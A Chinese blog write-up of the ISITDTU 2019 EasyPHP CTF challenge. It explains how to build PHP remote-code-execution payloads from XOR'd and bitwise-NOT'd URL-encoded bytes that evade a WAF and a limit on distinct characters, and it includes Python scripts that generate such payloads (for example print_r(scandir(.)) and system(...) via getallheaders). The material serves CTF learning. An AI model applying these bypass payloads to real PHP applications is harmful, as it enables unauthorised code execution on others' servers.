[ISITDTU 2019]EasyPHP RCE异或限制

解决一个一直以来的问题,RCE的异或绕过问题。先了解下奇技淫巧吧--> https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

接下来说说今天的问题,在做异或问题是发现许多payload都是(xxxxx)^(%ff....),这都是怎么来的呢。
现在说说吧,就比如拿'_'号来说,实质上异或就是利用不可见字符来绕过waf的。

上面图中就是一次异或操作,将_表示为0xa0^0xff,而url解码中%a0是不可见字符,所以导致了可以利用其进行一些绕过操作。
在接下来就是试试操作'_GET'。

那么'_GET'就可以表示为(0xa0b8baab)^(0xffffffff),url表示就是(%a0%b8%ba%ab)^(%ff%ff%ff%ff)。这样就得到了我们想要的样子。
接下来就是本题中最难的部分了,针对输入的命令进行了符号种类的数量限制,count_chars(str,3)表示的是输出返回一个字符串,包含所有在str中使用过的不同字符。且这个输出长度不能超过13。

点击查看代码
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');
这里的思路就是看看能不能用其它字符通过多次异或得到。脚本跑看看,附上一个大佬脚本(以print_r(scandir(.))为例子)。
点击查看代码
now ='\'().;_acdinprst'
for i in now :
    for j in now:
        for k in now :
            for m in now :
                if ord(j)^ord(k)^ord(m) == ord(i):
                    if(j==k or j==m or m==k ):
                        continue
                    else :
                        print(i+'=='+j + '^'+ k +'^'+m)

可以看到的出了很多结果,因为我们有15个字符算上%ff为16个,所以要换掉3个字符,选出3个看看。

点击查看代码
t = s^c^d
n = i^c^d
r = a^c^p
print_r=(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
scandir=(%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)
这里我只用print_r来讲讲,先看看替换tnr的字母的异或值。

点击查看代码
t -->s   c   d 
   0x8c 0x9c 0x9b
n -->i   c   d 
   0x96 0x9c 0x9b
r -->a   c   p
   0x9e 0x9c 0x8f

print_r=(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
    print_r
-->((%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))
    tnr分别替换第一列也就是sia                             替换第二列 ccc         替换第三列 ddp
也就是说替换第一列时在原来的基础上替换掉tnr,替换其他列时在%ff%ff%ff%ff%ff%ff%ff基础上进行替换(看准tnr的位置),要替换n个,只有一个是替换原式中除了%ff的,n-1个是替换%ff那个的,最后异或即可。表达的可能不清晰,大概理解就行。
到这里这个困扰许久的问题也就告一段落了。本文只是我的理解,方便自己阅读,想看更为详细的推荐--> https://blog.csdn.net/Zero_Adam/article/details/115468669

贴上一个做其他rce时出现[~xxx][!%ff]形式异或payload的脚本:

点击查看代码
def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]("

"""
组成类似于system(pos(next(getallheaders())));即可
a=whoami
"""
while 1:
    a = input(":>").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
    print(s)
posted @   jockerliu  阅读(93)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示